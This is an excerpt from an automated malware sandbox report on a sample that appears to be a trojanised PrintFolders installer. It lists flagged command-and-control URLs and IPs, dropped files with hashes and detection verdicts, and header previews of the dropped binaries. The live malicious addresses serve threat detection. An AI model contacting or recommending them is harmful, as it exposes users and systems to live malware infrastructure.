                http://171.22.30.106/library.phpjPrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://www.innosetup.comfile.exefalse
                • URL Reputation: safe
                unknown
                http://171.22.30.106/library.php0PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://www.atopoint.com.file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                unknown
                http://www.innosetup.comDVarFileInfo$file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drfalse
                • Avira URL Cloud: safe
                low
                http://www.remobjects.com/?psUfile.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drfalse
                • URL Reputation: safe
                unknown
                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs
                IPDomainCountryFlagASNASN NameMalicious
                45.139.105.171
                unknownItaly
                33657CMCSUSfalse
                45.139.105.1
                unknownItaly
                33657CMCSUStrue
                85.31.46.167
                unknownGermany
                43659CLOUDCOMPUTINGDEtrue
                107.182.129.235
                unknownReserved
                11070META-ASUSfalse
                171.22.30.106
                unknownGermany
                33657CMCSUSfalse
                Joe Sandbox Version:36.0.0 Rainbow Opal
                Analysis ID:753410
                Start date and time:2022-11-24 19:17:06 +01:00
                Joe Sandbox Product:CloudBasic
                Overall analysis duration:0h 7m 13s
                Hypervisor based Inspection enabled:false
                Report type:full
                Sample file name:file.exe
                Cookbook file name:default.jbs
                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                Number of analysed new started processes analysed:7
                Number of new started drivers analysed:0
                Number of existing processes analysed:0
                Number of existing drivers analysed:0
                Number of injected processes analysed:0
                Technologies:
                • HCA enabled
                • EGA enabled
                • HDC enabled
                • AMSI enabled
                Analysis Mode:default
                Analysis stop reason:Timeout
                Detection:MAL
                Classification:mal96.troj.evad.winEXE@12/23@0/5
                EGA Information:
                • Successful, ratio: 100%
                HDC Information:
                • Successful, ratio: 38.3% (good quality ratio 37.2%)
                • Quality average: 80.8%
                • Quality standard deviation: 24.9%
                HCA Information:
                • Successful, ratio: 96%
                • Number of executed functions: 166
                • Number of non-executed functions: 244
                Cookbook Comments:
                • Found application associated with file extension: .exe
                • Stop behavior analysis, all processes terminated
                • Excluded IPs from analysis (whitelisted): 20.90.156.32
                • Excluded domains from analysis (whitelisted): client.wns.windows.com, wns.notify.trafficmanager.net, ctldl.windowsupdate.com
                • Not all processes where analyzed, report is missing behavior information
                • Report creation exceeded maximum time and may have missing disassembly code information.
                • Report size getting too big, too many NtOpenKeyEx calls found.
                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                • Report size getting too big, too many NtQueryValueKey calls found.
                TimeTypeDescription
                19:18:05API Interceptor1x Sleep call for process: CqxAaSZxg.exe modified
                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                45.139.105.171file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                OeyC396Ez1.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixshop
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                7MOu36PV5V.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixshop
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                ua05xHirq5.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixshop
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                file.exeGet hashmaliciousBrowse
                • 45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
                No context
                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                CMCSUSfile.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                OeyC396Ez1.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                7MOu36PV5V.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                ua05xHirq5.exeGet hashmaliciousBrowse
                • 45.139.105.1
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                Application_Form_2nd_Off_Romanenko_O.xlsxGet hashmaliciousBrowse
                • 85.208.136.172
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                CMCSUSfile.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                OeyC396Ez1.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                7MOu36PV5V.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                ua05xHirq5.exeGet hashmaliciousBrowse
                • 45.139.105.1
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                Application_Form_2nd_Off_Romanenko_O.xlsxGet hashmaliciousBrowse
                • 85.208.136.172
                file.exeGet hashmaliciousBrowse
                • 171.22.30.106
                No context
                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                C:\Program Files (x86)\PrintFolders\Russian.dll (copy)file.exeGet hashmaliciousBrowse
                  file.exeGet hashmaliciousBrowse
                    file.exeGet hashmaliciousBrowse
                      file.exeGet hashmaliciousBrowse
                        file.exeGet hashmaliciousBrowse
                          file.exeGet hashmaliciousBrowse
                            file.exeGet hashmaliciousBrowse
                              file.exeGet hashmaliciousBrowse
                                file.exeGet hashmaliciousBrowse
                                  file.exeGet hashmaliciousBrowse
                                    file.exeGet hashmaliciousBrowse
                                      file.exeGet hashmaliciousBrowse
                                        file.exeGet hashmaliciousBrowse
                                          file.exeGet hashmaliciousBrowse
                                            file.exeGet hashmaliciousBrowse
                                              file.exeGet hashmaliciousBrowse
                                                file.exeGet hashmaliciousBrowse
                                                  file.exeGet hashmaliciousBrowse
                                                    file.exeGet hashmaliciousBrowse
                                                      file.exeGet hashmaliciousBrowse
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:MS Windows HtmlHelp Data
                                                        Category:dropped
                                                        Size (bytes):118869
                                                        Entropy (8bit):7.933172616287708
                                                        Encrypted:false
                                                        SSDEEP:1536:a8+b7UxVIBmVQVxSHmIKruCGFkw8dctBJcIFEvSrT3eoxNjT+YL/fe3iWP7:Z+b76wV3hCb86tBJc7SffxNjqO/qiWT
                                                        MD5:204A5BF160646F9A55ED70AB6E1A07A6
                                                        SHA1:5404AB219FA01C270ADC36303D447109503C4A4D
                                                        SHA-256:CACDD2C8BFA4BAE33A16A10ED609F4841AC5C4C2FE481ED0FD8CB04BC8016BBD
                                                        SHA-512:6AAFBAF8565BF57BF4CC9E8D5EEF947E32E0D1A962C0BB619A25C35C68B7AA24599C60CB1C1B108FC9F58A1F13FF80B66E1A4DA506BE2FFD2DD05331865DAA15
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:ITSF....`..................|.{.......".....|.{......."..`...............x.......T.......................U...............ITSP....T...........................................j..].!......."..T...............PMGL................./..../#IDXHDR......./#ITBITS..../#STRINGS...>.../#SYSTEM..V.../#TOPICS....`./#URLSTR...Gw./#URLTBL....H./#WINDOWS.....D./$FIftiMain...g..8./$OBJINST...T.../author.htm...m.<./cmdline.htm...O.../ctxmenu.jpg...3..B./index.htm..'.y./interface.htm.. .^./logo.jpg...P..4./main.css...u.../PrintDir.hhc...).'./screenshot.jpg.....././shell.htm...~.Q.::DataSpace/NameList..<(::DataSpace/Storage/MSCompressed/Content..[...,::DataSpace/Storage/MSCompressed/ControlData.j.)::DataSpace/Storage/MSCompressed/SpanInfo.b./::DataSpace/Storage/MSCompressed/Transform/List.<&_::DataSpace/Storage/MSCompressed/Transform/{7FC28940-9D31-11D0-9B27-00A0C91E9C7C}/InstanceData/...i::DataSpace/Storage/MSCompressed/Transform/{7FC28940-9D31-11D0-9B27-00A0C91E9C7C}/InstanceData/ResetTable...P...........
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):5403
                                                        Entropy (8bit):4.918324842676727
                                                        Encrypted:false
                                                        SSDEEP:96:uUzxQ0Bz664UbxDcqEVFUz1BDzeRGH+QanjY3ZLBxdfC4INXM/gr53F8EPeHl9j4:uU1QyZ4e9cqEfUz1BD0GH+QGjYJBxdfY
                                                        MD5:C8B211D81EB7D4F9EBB071A117444D51
                                                        SHA1:43BF57BB0931EBED953FE17F937C1C7FF58A027C
                                                        SHA-256:AFD6FEA6A792B722E45A6587F70334F30051798017F4A278508C7ED3FEEA80CC
                                                        SHA-512:C7C558EB666B570A0B03D1E8941217673677A6AF1F7CE4C43BE77D1AA859AD8DF7B212CF778B03678DD451535C7A7B02FEB65F20B744A8E9C969DF633F79A2AB
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:=====================.. History of Releases..=====================....Legend..------..[+] - added..[*] - modified..[-] - bug fixed......Version 2.51b..-------------..[-] The output file path wasn't updated in certain circumstances..[-] Added the workaround for the modal message boxes bug in Wine....Version 2.51a..-------------..[+] Focus rectangle added for the "Go!" button..[+] Added program version to the setup info..[*] A couple of interface optimizations..[-] "Check for updates" now should work under Wine....Version 2.51..------------..[+] The "Help" buttons now present in each dialog..[+] Russian user interface..[*] Improved Wine compatibility..[-] One very elusive bug inherited from the early versions finally fixed..[-] Improved the "Check for updates" behavior..[-] Fixed several regressions and smaller bugs....Version 2.5..-----------..[+] Checking for updates on startup (registered users only)..[*] Faster processing of large numbers of files..[*] Folders containing no files acc
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:RAGE Package Format (RPF),
                                                        Category:dropped
                                                        Size (bytes):3391
                                                        Entropy (8bit):4.812121234949207
                                                        Encrypted:false
                                                        SSDEEP:96:FjjD9GrzqpptIaj6JGcnRH7aamJL4zUtWAbakj:FYrrawhbaVFtTuk
                                                        MD5:A5E8094B0CBADE929AEE07F5DA5E9429
                                                        SHA1:60BB56A380CD9126AC067AE39B262E28A22532CD
                                                        SHA-256:F3AC2009C96EB3A42AFAEC7FA67D3A14E5E9E30819B543D572C9BEA790CFCAD1
                                                        SHA-512:018D1963A0B45A731687C5811E6447911E9BC7285B25EE3BBAD95D4D9C23718EF4E9714714C8A68617EAE4F840FB3D76BC77B0C49A64346D9605CCF70592356C
                                                        Malicious:false
                                                        Preview:PRINTFOLDERS version 2.51b..Copyright (C) 2009-2012 Andrey Pivovarov. All rights reserved.....END USER LICENSE AGREEMENT....This license describes the conditions under which you may use version 2.51b of ..PrintFolders ("the program"). If you are unable or unwilling to accept these ..conditions in full, then, notwithstanding the conditions in the remainder of ..this license, you may not use the program at all.....The program is a full-functional software. The program never expires and may be ..used for any period of time. The program has no exclusive limitations and does ..not require registration, though you may register your copy of the program to ..support the authors and remove the nag screens.....You may copy and distribute verbatim copies of the program executable, in any ..medium, provided that you conspicuously and appropriately publish on each copy ..an appropriate copyright notice and disclaimer of warranty; keep intact all the ..notices that refer to this license and to the a
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                        Category:modified
                                                        Size (bytes):1785853
                                                        Entropy (8bit):5.935308752003533
                                                        Encrypted:false
                                                        SSDEEP:24576:R+A+X+y5l+g+B6+zn+zu+hcyh/mwnZqwA8oxV2yH0E:AJOyqpBTz+z3GMLZqw3oxg
                                                        MD5:A11421185D7DA999305A2A671E0244DE
                                                        SHA1:DB41764649C88DDD4B45DBAEF4989A98CF535EB5
                                                        SHA-256:35D963911A7EC845128C7625E1697BFDFA251F16414A36B4B167E3B249B6BE51
                                                        SHA-512:D9AF38B9F77DACE89ECADA8CBD16DB2EB56253A263A0F3548529DA533D92C020CA7859EEAC354838BDAAE0791C0CFC6B02835B27BB4E6651BBA5F326DF36E4BB
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c..........'.................0.............@..........................@..............................................4........0...c...........................................................................................................text............................... ..`.rdata..n........ ..................@..@.data...@...........................@....tls......... ....... ..............@....rsrc....p...0...p...0..............@..@.rgw89..............................`...................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):21504
                                                        Entropy (8bit):4.508743257769972
                                                        Encrypted:false
                                                        SSDEEP:192:kxsrC3rSQgvlS7pEeHPmIOBaVeFSiLW70ygWr:csvGmIOBa5f
                                                        MD5:4FB606EDBDE8EFB6D34E6E1BC5F677F1
                                                        SHA1:F8F094064D107384E619DED1139932AA38476272
                                                        SHA-256:A960C9DCD1D5C7B79F4FDD38D6F25299F4F7925555E381EA4AB6217681482F62
                                                        SHA-512:5B34ECB87582FFC210CA4EED06C729979D7197191CF74EB3CDB59D0F629603C171D50B6D9351DEB7DD13F6FCBBD79F8A23ED0114BBD991520CA9BFA4EF10A44D
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                        Joe Sandbox View:
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        • Filename: file.exe, Detection: malicious, Browse
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u.............5...............5......Rich....................PE..L....SwO...........!.........P...............................................p............@.......................................... ..`M...........................................................................................................rdata..m...........................@..@.rsrc...`M... ...N..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):1785853
                                                        Entropy (8bit):5.9353074675304
                                                        Encrypted:false
                                                        SSDEEP:24576:M+A+X+y5l+g+B6+zn+zu+hcyh/mwnZqwA8oxV2yH0E:VJOyqpBTz+z3GMLZqw3oxg
                                                        MD5:BB631B1A1849EA76FEF8499094997EC1
                                                        SHA1:01CDE93DC7865AFBC58A7C856BE46DB2D668AD6C
                                                        SHA-256:A18280B01B0A74970FA9D8B05A36C2244308059C1DA91137C87C653627A54B54
                                                        SHA-512:CC0410A72FEE5B046AE04C57FB61CAECE23432E02F728355BF68B0ED359138A191BF1DD1FB1D86E5FAA6E87D4CFB2FCADEC79AE203265C5B1AF463729163D8CC
                                                        Malicious:false
                                                        Preview:.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c..........'.................0.............@..........................@..............................................4........0...c...........................................................................................................text............................... ..`.rdata..n........ ..................@..@.data...@...........................@....tls......... ....... ..............@....rsrc....p...0...p...0..............@..@.rgw89..............................`...................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):669450
                                                        Entropy (8bit):6.478399502986981
                                                        Encrypted:false
                                                        SSDEEP:12288:2h5UooqWolrP837JzHvA6izJgnnyFNmayiAZrvJxOx:M5NoqWolrP837JzHvA6yknyWFxvJxOx
                                                        MD5:CF680B53729F6E3059183D51F91D337D
                                                        SHA1:4D6EB765BB4837F09283101490375DF5F68C8E37
                                                        SHA-256:A3F8C832C69388A88E47DD8B612382F74D5131E8C710741EFB2410EC450BDF2D
                                                        SHA-512:1F59A9A03485DFDB9E232F0D8B52CD864993FC25734E16DD2160190045626531685E81BDBCF0636EBA9F7CEDA9DA082A9AAD2DD4C5BFE165110731B7F89FCA51
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 2%
                                                        Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................d......t.............@..............................................@..............................$%......P+...................@...............................0......................................................CODE................................ ..`DATA................................@...BSS.....x................................idata..$%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc.......@......................@..P.rsrc...P+.......,..................@..P....................................@..P........................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:RAGE Package Format (RPF),
                                                        Category:dropped
                                                        Size (bytes):3391
                                                        Entropy (8bit):4.812121234949207
                                                        Encrypted:false
                                                        SSDEEP:96:FjjD9GrzqpptIaj6JGcnRH7aamJL4zUtWAbakj:FYrrawhbaVFtTuk
                                                        MD5:A5E8094B0CBADE929AEE07F5DA5E9429
                                                        SHA1:60BB56A380CD9126AC067AE39B262E28A22532CD
                                                        SHA-256:F3AC2009C96EB3A42AFAEC7FA67D3A14E5E9E30819B543D572C9BEA790CFCAD1
                                                        SHA-512:018D1963A0B45A731687C5811E6447911E9BC7285B25EE3BBAD95D4D9C23718EF4E9714714C8A68617EAE4F840FB3D76BC77B0C49A64346D9605CCF70592356C
                                                        Malicious:false
                                                        Preview:PRINTFOLDERS version 2.51b..Copyright (C) 2009-2012 Andrey Pivovarov. All rights reserved.....END USER LICENSE AGREEMENT....This license describes the conditions under which you may use version 2.51b of ..PrintFolders ("the program"). If you are unable or unwilling to accept these ..conditions in full, then, notwithstanding the conditions in the remainder of ..this license, you may not use the program at all.....The program is a full-functional software. The program never expires and may be ..used for any period of time. The program has no exclusive limitations and does ..not require registration, though you may register your copy of the program to ..support the authors and remove the nag screens.....You may copy and distribute verbatim copies of the program executable, in any ..medium, provided that you conspicuously and appropriately publish on each copy ..an appropriate copyright notice and disclaimer of warranty; keep intact all the ..notices that refer to this license and to the a
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):5403
                                                        Entropy (8bit):4.918324842676727
                                                        Encrypted:false
                                                        SSDEEP:96:uUzxQ0Bz664UbxDcqEVFUz1BDzeRGH+QanjY3ZLBxdfC4INXM/gr53F8EPeHl9j4:uU1QyZ4e9cqEfUz1BD0GH+QGjYJBxdfY
                                                        MD5:C8B211D81EB7D4F9EBB071A117444D51
                                                        SHA1:43BF57BB0931EBED953FE17F937C1C7FF58A027C
                                                        SHA-256:AFD6FEA6A792B722E45A6587F70334F30051798017F4A278508C7ED3FEEA80CC
                                                        SHA-512:C7C558EB666B570A0B03D1E8941217673677A6AF1F7CE4C43BE77D1AA859AD8DF7B212CF778B03678DD451535C7A7B02FEB65F20B744A8E9C969DF633F79A2AB
                                                        Malicious:false
                                                        Preview:=====================.. History of Releases..=====================....Legend..------..[+] - added..[*] - modified..[-] - bug fixed......Version 2.51b..-------------..[-] The output file path wasn't updated in certain circumstances..[-] Added the workaround for the modal message boxes bug in Wine....Version 2.51a..-------------..[+] Focus rectangle added for the "Go!" button..[+] Added program version to the setup info..[*] A couple of interface optimizations..[-] "Check for updates" now should work under Wine....Version 2.51..------------..[+] The "Help" buttons now present in each dialog..[+] Russian user interface..[*] Improved Wine compatibility..[-] One very elusive bug inherited from the early versions finally fixed..[-] Improved the "Check for updates" behavior..[-] Fixed several regressions and smaller bugs....Version 2.5..-----------..[+] Checking for updates on startup (registered users only)..[*] Faster processing of large numbers of files..[*] Folders containing no files acc
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):21504
                                                        Entropy (8bit):4.508743257769972
                                                        Encrypted:false
                                                        SSDEEP:192:kxsrC3rSQgvlS7pEeHPmIOBaVeFSiLW70ygWr:csvGmIOBa5f
                                                        MD5:4FB606EDBDE8EFB6D34E6E1BC5F677F1
                                                        SHA1:F8F094064D107384E619DED1139932AA38476272
                                                        SHA-256:A960C9DCD1D5C7B79F4FDD38D6F25299F4F7925555E381EA4AB6217681482F62
                                                        SHA-512:5B34ECB87582FFC210CA4EED06C729979D7197191CF74EB3CDB59D0F629603C171D50B6D9351DEB7DD13F6FCBBD79F8A23ED0114BBD991520CA9BFA4EF10A44D
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u.............5...............5......Rich....................PE..L....SwO...........!.........P...............................................p............@.......................................... ..`M...........................................................................................................rdata..m...........................@..@.rsrc...`M... ...N..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:MS Windows HtmlHelp Data
                                                        Category:dropped
                                                        Size (bytes):118869
                                                        Entropy (8bit):7.933172616287708
                                                        Encrypted:false
                                                        SSDEEP:1536:a8+b7UxVIBmVQVxSHmIKruCGFkw8dctBJcIFEvSrT3eoxNjT+YL/fe3iWP7:Z+b76wV3hCb86tBJc7SffxNjqO/qiWT
                                                        MD5:204A5BF160646F9A55ED70AB6E1A07A6
                                                        SHA1:5404AB219FA01C270ADC36303D447109503C4A4D
                                                        SHA-256:CACDD2C8BFA4BAE33A16A10ED609F4841AC5C4C2FE481ED0FD8CB04BC8016BBD
                                                        SHA-512:6AAFBAF8565BF57BF4CC9E8D5EEF947E32E0D1A962C0BB619A25C35C68B7AA24599C60CB1C1B108FC9F58A1F13FF80B66E1A4DA506BE2FFD2DD05331865DAA15
                                                        Malicious:false
